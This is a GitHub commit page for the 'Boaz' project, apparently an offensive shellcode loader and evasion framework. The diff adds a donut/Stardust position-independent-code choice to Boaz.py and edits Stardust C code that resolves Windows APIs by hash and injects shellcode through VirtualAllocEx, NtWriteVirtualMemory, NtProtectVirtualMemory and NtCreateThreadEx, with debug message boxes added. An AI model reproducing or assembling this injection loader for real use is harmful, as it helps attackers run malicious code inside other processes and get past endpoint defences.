Fix issues.

thomasxm · Jul 12, 2024 · ac4eb31 · ac4eb31
1 parent 6c654d3
commit ac4eb31
Show file tree

Hide file tree

Showing 9 changed files with 1,353 additions and 1,312 deletions.
diff --git a/Boaz b/Boaz
diff --git a/Boaz.py b/Boaz.py
@@ -1124,6 +1124,22 @@ def print_selected_options(args):
 
     print_selected_options(args)
 
+    if args.input_file.endswith('.bin'):
+        print("The input file ends with .bin")
+        choice = input("Choose your Position Independent Code converter:\n1) donut\n2) stardust\nEnter your choice (1 or 2): ")
+
+        if choice == '1':
+            args.shellcode_type = 'donut'
+            print("Shellcode type set to donut.")
+        elif choice == '2':
+            args.star_dust = True
+            print("Star dust set to True.")
+        else:
+            print("Invalid choice. Default to donut.")
+            args.shellcode_type = 'donut'
+    else:
+        print("Input file is not a raw shellcode ends with .bin")
+
     # Adjust shellcode_file name based on the shellcode type
     # TODO: Add more shellcode PIC generators here:
     if args.shellcode_type == 'donut':

diff --git a/Stardust/bin/boaz.x64.bin b/Stardust/bin/boaz.x64.bin
diff --git a/Stardust/bin/obj/asm_Stardust.x64.o b/Stardust/bin/obj/asm_Stardust.x64.o
diff --git a/Stardust/bin/obj/boaz_Main.x64.o b/Stardust/bin/obj/boaz_Main.x64.o
diff --git a/Stardust/bin/obj/boaz_PreMain.x64.o b/Stardust/bin/obj/boaz_PreMain.x64.o
diff --git a/Stardust/include/Common.h b/Stardust/include/Common.h
@@ -49,6 +49,7 @@ typedef struct _INSTANCE {
         //
         D_API( LoadLibraryW )
         D_API( WaitForSingleObjectEx )
+        D_API( WaitForSingleObject )
         D_API( GetCurrentProcess )
 
         //

diff --git a/Stardust/src/Main.c b/Stardust/src/Main.c
diff --git a/Stardust/src/Main.c.bak b/Stardust/src/Main.c.bak
@@ -30,7 +30,7 @@ FUNC VOID Main(
         if ( ! ( Instance()->Win32.LoadLibraryW = LdrFunction( Instance()->Modules.Kernel32, HASH_STR( "LoadLibraryW" ) ) ) ) {
             return;
         }
-        if ( ! ( Instance()->Win32.WaitForSingleObjectEx = LdrFunction( Instance()->Modules.Kernel32, HASH_STR( "WaitForSingleObjectEx" ) ) ) ) {
+        if ( ! ( Instance()->Win32.WaitForSingleObject = LdrFunction( Instance()->Modules.Kernel32, HASH_STR( "WaitForSingleObject" ) ) ) ) {
             return;
         }
         if ( ! ( Instance()->Win32.GetCurrentProcess = LdrFunction( Instance()->Modules.Kernel32, HASH_STR( "GetCurrentProcess" ) ) ) ) {
@@ -98,6 +98,8 @@ FUNC VOID Main(
     // if function successfully executed, open a message box:
     if (status == 0) {
         Instance()->Win32.MessageBoxW(NULL, L"VirtualAllocEx success", L"Boaz MessageBox", MB_OK);
+    } else {
+        Instance()->Win32.MessageBoxW(NULL, L"VirtualAllocEx failed", L"Boaz MessageBox", MB_OK);
     }
 
     // Instance()->Win32.RtlMoveMemory(magicspellAddress, magicspell, sizeof(magicspell));
@@ -106,6 +108,8 @@ FUNC VOID Main(
     status = Instance()->Win32.NtWriteVirtualMemory(hProcess, magicspellAddress, magicspell, magicspellSize, NULL);
     if(status == 0) {
         Instance()->Win32.MessageBoxW(NULL, L"NtWriteVirtualMemory success", L"Boaz MessageBox", MB_OK);
+    } else {
+        Instance()->Win32.MessageBoxW(NULL, L"NtWriteVirtualMemory failed", L"Boaz MessageBox", MB_OK);
     }
 
     DWORD oldProtect;
@@ -114,6 +118,8 @@ FUNC VOID Main(
     status = Instance()->Win32.NtProtectVirtualMemory(hProcess, &magicspellAddress, &magicspellSize, PAGE_EXECUTE_READ, &oldProtect);
     if(status == 0) {
         Instance()->Win32.MessageBoxW(NULL, L"NtProtectVirtualMemory success", L"Boaz MessageBox", MB_OK);
+    } else {
+        Instance()->Win32.MessageBoxW(NULL, L"NtProtectVirtualMemory failed", L"Boaz MessageBox", MB_OK);
     }
 
 
@@ -122,6 +128,9 @@ FUNC VOID Main(
     status = Instance()->Win32.NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, magicspellAddress, NULL, FALSE, 0, 0, 0, NULL);
     if(status == 0) {
         Instance()->Win32.MessageBoxW(NULL, L"NtCreateThreadEx success", L"Boaz MessageBox", MB_OK);
+    } else 
+    {
+        Instance()->Win32.MessageBoxW(NULL, L"NtCreateThreadEx failed", L"Boaz MessageBox", MB_OK);
     }
 
 
@@ -132,11 +141,14 @@ FUNC VOID Main(
     // Instance()->Win32.TpReleaseWork( WorkReturn );
 
     // Waiting for 1 second to let the TpWorkCallback finish
-    BOOL result = Instance()->Win32.WaitForSingleObjectEx( hProcess, 6000, NULL );
+    BOOL result = Instance()->Win32.WaitForSingleObject( hThread, INFINITE );
     if(result == 0) {
         Instance()->Win32.MessageBoxW(NULL, L"WaitForSingleObjectEx success", L"Boaz MessageBox", MB_OK);
+    } else {
+        Instance()->Win32.MessageBoxW(NULL, L"WaitForSingleObjectEx failed", L"Boaz MessageBox", MB_OK);
     }
 
+
     // Message = NtCurrentPeb()->ProcessParameters->ImagePathName.Buffer;
 
     // //